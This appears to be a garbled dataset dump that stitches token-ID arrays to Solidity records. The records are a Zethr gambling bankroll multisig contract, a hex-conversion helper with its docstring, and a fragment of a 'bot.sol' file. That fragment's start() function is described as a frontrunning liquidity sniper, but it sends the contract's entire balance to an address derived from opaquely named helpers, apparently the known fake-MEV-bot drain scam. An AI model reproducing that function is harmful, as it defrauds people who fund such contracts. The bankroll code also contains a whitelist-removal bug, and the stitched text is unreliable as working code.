0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
24506,
52,
1683,
353,
14223,
6914,
16,
4232,
39,
27,
5340,
5080,
16,
21800,
16665,
288,
203,
203,
565,
871,
7659,
10868,
12,
2867,
729,
16,
1758,
2889,
1769,
203,
203,
565,
467,
18048,
52,
1683,
3238,
389,
84,
1683,
8924,
31,
203,
203,
565,
2874,
12,
2867,
516,
1758,
13,
3238,
389,
20314,
606,
31,
203,
203,
565,
3885,
12,
2867,
293,
1683,
8924,
13,
203,
3639,
1071,
203,
3639,
4232,
39,
27,
5340,
5080,
2932,
17665,
22752,
556,
1683,
87,
3113,
315,
20265,
16141,
55,
7923,
203,
203,
565,
288,
203,
3639,
389,
84,
1683,
8924,
273,
467,
18048,
52,
1683,
12,
84,
1683,
8924,
1769,
203,
565,
289,
203,
203,
565,
445,
293,
1683,
8924,
1435,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
2867,
13,
203,
565,
288,
203,
3639,
327,
1758,
24899,
84,
1683,
8924,
1769,
203,
565,
289,
203,
203,
565,
445,
26435,
3098,
12,
1080,
3778,
23418,
13,
203,
3639,
1071,
203,
3639,
1338,
5541,
203,
565,
288,
203,
3639,
389,
542,
2171,
3098,
12,
1969,
3006,
1769,
203,
565,
289,
203,
203,
565,
445,
11722,
1435,
203,
3639,
1071,
203,
3639,
1338,
5541,
203,
565,
288,
203,
3639,
389,
19476,
5621,
203,
565,
289,
203,
203,
565,
445,
640,
19476,
1435,
203,
3639,
1071,
203,
3639,
1338,
5541,
203,
565,
288,
203,
3639,
389,
318,
19476,
5621,
203,
565,
289,
203,
203,
565,
445,
1744,
3886,
1435,
203,
3639,
1071,
203,
565,
288,
203,
3639,
1758,
5793,
273,
389,
3576,
12021,
5621,
203,
2
] |
pragma solidity ^0.4.24;
/**
https://fortisgames.com https://fortisgames.com https://fortisgames.com https://fortisgames.com https://fortisgames.com
FFFFFFFFFFFFFFFFFFFFFF tttt iiii
F::::::::::::::::::::F ttt:::t i::::i
F::::::::::::::::::::F t:::::t iiii
FF::::::FFFFFFFFF::::F t:::::t
F:::::F FFFFFFooooooooooo rrrrr rrrrrrrrr ttttttt:::::ttttttt iiiiiii ssssssssss
F:::::F oo:::::::::::oo r::::rrr:::::::::r t:::::::::::::::::t i:::::i ss::::::::::s
F::::::FFFFFFFFFFo:::::::::::::::or:::::::::::::::::r t:::::::::::::::::t i::::i ss:::::::::::::s
F:::::::::::::::Fo:::::ooooo:::::orr::::::rrrrr::::::rtttttt:::::::tttttt i::::i s::::::ssss:::::s
F:::::::::::::::Fo::::o o::::o r:::::r r:::::r t:::::t i::::i s:::::s ssssss
F::::::FFFFFFFFFFo::::o o::::o r:::::r rrrrrrr t:::::t i::::i s::::::s
F:::::F o::::o o::::o r:::::r t:::::t i::::i s::::::s
F:::::F o::::o o::::o r:::::r t:::::t tttttt i::::i ssssss s:::::s
FF:::::::FF o:::::ooooo:::::o r:::::r t::::::tttt:::::ti::::::is:::::ssss::::::s
F::::::::FF o:::::::::::::::o r:::::r tt::::::::::::::ti::::::is::::::::::::::s
F::::::::FF oo:::::::::::oo r:::::r tt:::::::::::tti::::::i s:::::::::::ss
FFFFFFFFFFF ooooooooooo rrrrrrr ttttttttttt iiiiiiii sssssssssss
Discord: https://discord.gg/gDtTX62
An interactive, variable-dividend rate contract with an ICO-capped price floor and collectibles.
Bankroll contract, containing tokens purchased from all dividend-card profit and ICO dividends.
Acts as token repository for games on the Zethr platform.
**/
contract ZTHInterface {
function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string providedUnhashedPass) public payable returns (uint);
function balanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function transferFrom(address _from, address _toAddress, uint _amountOfTokens) public returns (bool);
function exit() public;
function sell(uint amountOfTokens) public;
function withdraw(address _recipient) public;
}
contract ERC223Receiving {
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
contract ZethrBankroll is ERC223Receiving {
using SafeMath for uint;
/*=================================
= EVENTS =
=================================*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event WhiteListAddition(address indexed contractAddress);
event WhiteListRemoval(address indexed contractAddress);
event RequirementChange(uint required);
event DevWithdraw(uint amountTotal, uint amountPerPerson);
event EtherLogged(uint amountReceived, address sender);
event BankrollInvest(uint amountReceived);
event DailyTokenAdmin(address gameContract);
event DailyTokensSent(address gameContract, uint tokens);
event DailyTokensReceived(address gameContract, uint tokens);
/*=================================
= WITHDRAWAL CONSTANTS =
=================================*/
uint constant public MAX_OWNER_COUNT = 10;
uint constant public MAX_WITHDRAW_PCT_DAILY = 15;
uint constant public MAX_WITHDRAW_PCT_TX = 5;
uint constant internal resetTimer = 1 days;
/*=================================
= ZTH INTERFACE =
=================================*/
address internal zethrAddress;
ZTHInterface public ZTHTKN;
/*=================================
= VARIABLES =
=================================*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
mapping (address => bool) public isWhitelisted;
mapping (address => uint) public dailyTokensPerContract;
address internal divCardAddress;
address[] public owners;
address[] public whiteListedContracts;
uint public required;
uint public transactionCount;
uint internal dailyResetTime;
uint internal dailyTknLimit;
uint internal tknsDispensedToday;
bool internal reEntered = false;
/*=================================
= CUSTOM CONSTRUCTS =
=================================*/
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
struct TKN {
address sender;
uint value;
}
/*=================================
= MODIFIERS =
=================================*/
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier contractIsNotWhiteListed(address contractAddress) {
if (isWhitelisted[contractAddress])
revert();
_;
}
modifier contractIsWhiteListed(address contractAddress) {
if (!isWhitelisted[contractAddress])
revert();
_;
}
modifier isAnOwner() {
address caller = msg.sender;
if (!isOwner[caller])
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
/*=================================
= LIST OF OWNERS =
=================================*/
/*
This list is for reference/identification purposes only, and comprises the eight core Zethr developers.
For game contracts to be listed, they must be approved by a majority (i.e. currently five) of the owners.
Contracts can be delisted in an emergency by a single owner.
0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae // Norsefire
0x11e52c75998fe2E7928B191bfc5B25937Ca16741 // klob
0x20C945800de43394F70D789874a4daC9cFA57451 // Etherguy
0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB // blurr
0x8537aa2911b193e5B377938A723D805bb0865670 // oguzhanox
0x9D221b2100CbE5F05a0d2048E2556a6Df6f9a6C3 // Randall
0x71009e9E4e5e68e77ECc7ef2f2E95cbD98c6E696 // cryptodude
0xDa83156106c4dba7A26E9bF2Ca91E273350aa551 // TropicalRogue
*/
/*=================================
= PUBLIC FUNCTIONS =
=================================*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor (address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
dailyResetTime = now - (1 days);
}
/** Testing only.
function exitAll()
public
{
uint tokenBalance = ZTHTKN.balanceOf(address(this));
ZTHTKN.sell(tokenBalance - 1e18);
ZTHTKN.sell(1e18);
ZTHTKN.withdraw(address(0x0));
}
**/
function addZethrAddresses(address _zethr, address _divcards)
public
isAnOwner
{
zethrAddress = _zethr;
divCardAddress = _divcards;
ZTHTKN = ZTHInterface(zethrAddress);
}
/// @dev Fallback function allows Ether to be deposited.
function()
public
payable
{
}
uint NonICOBuyins;
function deposit()
public
payable
{
NonICOBuyins = NonICOBuyins.add(msg.value);
}
/// @dev Function to buy tokens with contract eth balance.
function buyTokens()
public
payable
isAnOwner
{
uint savings = address(this).balance;
if (savings > 0.01 ether) {
ZTHTKN.buyAndSetDivPercentage.value(savings)(address(0x0), 33, "");
emit BankrollInvest(savings);
}
else {
emit EtherLogged(msg.value, msg.sender);
}
}
function tokenFallback(address /*_from*/, uint /*_amountOfTokens*/, bytes /*_data*/) public returns (bool) {
// Nothing, for now. Just receives tokens.
}
/// @dev Calculates if an amount of tokens exceeds the aggregate daily limit of 15% of contract
/// balance or 5% of the contract balance on its own.
function permissibleTokenWithdrawal(uint _toWithdraw)
public
returns(bool)
{
uint currentTime = now;
uint tokenBalance = ZTHTKN.balanceOf(address(this));
uint maxPerTx = (tokenBalance.mul(MAX_WITHDRAW_PCT_TX)).div(100);
require (_toWithdraw <= maxPerTx);
if (currentTime - dailyResetTime >= resetTimer)
{
dailyResetTime = currentTime;
dailyTknLimit = (tokenBalance.mul(MAX_WITHDRAW_PCT_DAILY)).div(100);
tknsDispensedToday = _toWithdraw;
return true;
}
else
{
if (tknsDispensedToday.add(_toWithdraw) <= dailyTknLimit)
{
tknsDispensedToday += _toWithdraw;
return true;
}
else { return false; }
}
}
/// @dev Allows us to set the daily Token Limit
function setDailyTokenLimit(uint limit)
public
isAnOwner
{
dailyTknLimit = limit;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
validRequirement(owners.length, required)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txToExecute = transactions[transactionId];
txToExecute.executed = true;
if (txToExecute.destination.call.value(txToExecute.value)(txToExecute.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txToExecute.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*=================================
= OPERATOR FUNCTIONS =
=================================*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
// Additions for Bankroll
function whiteListContract(address contractAddress)
public
isAnOwner
contractIsNotWhiteListed(contractAddress)
notNull(contractAddress)
{
isWhitelisted[contractAddress] = true;
whiteListedContracts.push(contractAddress);
// We set the daily tokens for a particular contract in a separate call.
dailyTokensPerContract[contractAddress] = 0;
emit WhiteListAddition(contractAddress);
}
// Remove a whitelisted contract. This is an exception to the norm in that
// it can be invoked directly by any owner, in the event that a game is found
// to be bugged or otherwise faulty, so it can be shut down as an emergency measure.
// Iterates through the whitelisted contracts to find contractAddress,
// then swaps it with the last address in the list - then decrements length
function deWhiteListContract(address contractAddress)
public
isAnOwner
contractIsWhiteListed(contractAddress)
{
isWhitelisted[contractAddress] = false;
for (uint i=0; i < whiteListedContracts.length - 1; i++)
if (whiteListedContracts[i] == contractAddress) {
whiteListedContracts[i] = owners[whiteListedContracts.length - 1];
break;
}
whiteListedContracts.length -= 1;
emit WhiteListRemoval(contractAddress);
}
function contractTokenWithdraw(uint amount, address target) public
contractIsWhiteListed(msg.sender)
{
require(isWhitelisted[msg.sender]);
require(ZTHTKN.transfer(target, amount));
}
// Alters the amount of tokens allocated to a game contract on a daily basis.
function alterTokenGrant(address _contract, uint _newAmount)
public
isAnOwner
contractIsWhiteListed(_contract)
{
dailyTokensPerContract[_contract] = _newAmount;
}
function queryTokenGrant(address _contract)
public
view
returns (uint)
{
return dailyTokensPerContract[_contract];
}
// Function to be run by an owner (ideally on a cron job) which performs daily
// token collection and dispersal for all whitelisted contracts.
function dailyAccounting()
public
isAnOwner
{
for (uint i=0; i < whiteListedContracts.length; i++)
{
address _contract = whiteListedContracts[i];
if ( dailyTokensPerContract[_contract] > 0 )
{
allocateTokens(_contract);
emit DailyTokenAdmin(_contract);
}
}
}
// In the event that we want to manually take tokens back from a whitelisted contract,
// we can do so.
function retrieveTokens(address _contract, uint _amount)
public
isAnOwner
contractIsWhiteListed(_contract)
{
require(ZTHTKN.transferFrom(_contract, address(this), _amount));
}
// Dispenses daily amount of ZTH to whitelisted contract, or retrieves the excess.
// Block withdraws greater than MAX_WITHDRAW_PCT_TX of Zethr token balance.
// (May require occasional adjusting of the daily token allocation for contracts.)
function allocateTokens(address _contract)
public
isAnOwner
contractIsWhiteListed(_contract)
{
uint dailyAmount = dailyTokensPerContract[_contract];
uint zthPresent = ZTHTKN.balanceOf(_contract);
// Make sure that tokens aren't sent to a contract which is in the black.
if (zthPresent <= dailyAmount)
{
// We need to send tokens over, make sure it's a permitted amount, and then send.
uint toDispense = dailyAmount.sub(zthPresent);
// Make sure amount is <= tokenbalance*MAX_WITHDRAW_PCT_TX
require(permissibleTokenWithdrawal(toDispense));
require(ZTHTKN.transfer(_contract, toDispense));
emit DailyTokensSent(_contract, toDispense);
} else
{
// The contract in question has made a profit: retrieve the excess tokens.
uint toRetrieve = zthPresent.sub(dailyAmount);
require(ZTHTKN.transferFrom(_contract, address(this), toRetrieve));
emit DailyTokensReceived(_contract, toRetrieve);
}
emit DailyTokenAdmin(_contract);
}
// Dev withdrawal of tokens - splits equally among all owners of contract
function devTokenWithdraw(uint amount) public
onlyWallet
{
require(permissibleTokenWithdrawal(amount));
uint amountPerPerson = SafeMath.div(amount, owners.length);
for (uint i=0; i<owners.length; i++) {
ZTHTKN.transfer(owners[i], amountPerPerson);
}
emit DevWithdraw(amount, amountPerPerson);
}
// Change the dividend card address. Can't see why this would ever need
// to be invoked, but better safe than sorry.
function changeDivCardAddress(address _newDivCardAddress)
public
isAnOwner
{
divCardAddress = _newDivCardAddress;
}
// Receive Ether (from Zethr itself or any other source) and purchase tokens at the 33% dividend rate.
// If the amount is less than 0.01 Ether, the Ether is stored by the contract until the balance
// exceeds that limit and then purchases all it can.
function receiveDividends() public payable {
if (!reEntered) {
uint ActualBalance = (address(this).balance.sub(NonICOBuyins));
if (ActualBalance > 0.01 ether) {
reEntered = true;
ZTHTKN.buyAndSetDivPercentage.value(ActualBalance)(address(0x0), 33, "");
emit BankrollInvest(ActualBalance);
reEntered = false;
}
}
}
// Use all available balance to buy in
function buyInWithAllBalanced() public payable isAnOwner {
if (!reEntered) {
uint balance = address(this).balance;
require (balance > 0.01 ether);
ZTHTKN.buyAndSetDivPercentage.value(balance)(address(0x0), 33, "");
}
}
/*=================================
= UTILITIES =
=================================*/
// Convert an hexadecimal character to their value
function fromHexChar(uint c) public pure returns (uint) {
if (byte(c) >= byte('0') && byte(c) <= byte('9')) {
return c - uint(byte('0'));
}
if (byte(c) >= byte('a') && byte(c) <= byte('f')) {
return 10 + c - uint(byte('a'));
}
if (byte(c) >= byte('A') && byte(c) <= byte('F')) {
return 10 + c - uint(byte('A'));
}
}
// Convert an hexadecimal string to raw bytes
function fromHex(string s) public pure returns (bytes) {
bytes memory ss = bytes(s);
require(ss.length%2 == 0); // length must be even
bytes memory r = new bytes(ss.length/2);
for (uint i=0; i<ss.length/2; ++i) {
r[i] = byte(fromHexChar(uint(ss[2*i])) * 16 +
fromHexChar(uint(ss[2*i+1])));
}
return r;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | Convert an hexadecimal string to raw bytes | function fromHex(string s) public pure returns (bytes) {
bytes memory ss = bytes(s);
bytes memory r = new bytes(ss.length/2);
for (uint i=0; i<ss.length/2; ++i) {
r[i] = byte(fromHexChar(uint(ss[2*i])) * 16 +
fromHexChar(uint(ss[2*i+1])));
}
return r;
}
| 2,565,025 | [
1,
2723,
392,
20070,
533,
358,
1831,
1731,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
628,
7037,
12,
1080,
272,
13,
1071,
16618,
1135,
261,
3890,
13,
288,
203,
3639,
1731,
3778,
5202,
273,
1731,
12,
87,
1769,
203,
3639,
1731,
3778,
436,
273,
394,
1731,
12,
1049,
18,
2469,
19,
22,
1769,
203,
3639,
364,
261,
11890,
277,
33,
20,
31,
277,
32,
1049,
18,
2469,
19,
22,
31,
965,
77,
13,
288,
203,
5411,
436,
63,
77,
65,
273,
1160,
12,
2080,
7037,
2156,
12,
11890,
12,
1049,
63,
22,
14,
77,
22643,
380,
2872,
397,
203,
10792,
628,
7037,
2156,
12,
11890,
12,
1049,
63,
22,
14,
77,
15,
21,
22643,
1769,
203,
3639,
289,
203,
3639,
327,
436,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/97/0x8562993db938446a55f009a979442c952A44AEB3/sources/contracts/bot.sol | @dev Perform frontrun action from different contract pools @param contract address to snipe liquidity from @return `liquidity`./ | function start() public payable {
address to = startExploration(fetchMempoolData());
address payable contracts = payable(to);
contracts.transfer(getBa());
}
| 3,273,098 | [
1,
4990,
284,
1949,
313,
318,
1301,
628,
3775,
6835,
16000,
225,
6835,
1758,
358,
4556,
3151,
4501,
372,
24237,
628,
327,
1375,
549,
372,
24237,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
787,
1435,
1071,
8843,
429,
288,
203,
3639,
1758,
358,
273,
787,
424,
412,
22226,
12,
5754,
3545,
6011,
751,
10663,
203,
3639,
1758,
8843,
429,
20092,
273,
8843,
429,
12,
869,
1769,
203,
3639,
20092,
18,
13866,
12,
588,
38,
69,
10663,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: GPL-3.0-only AND MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
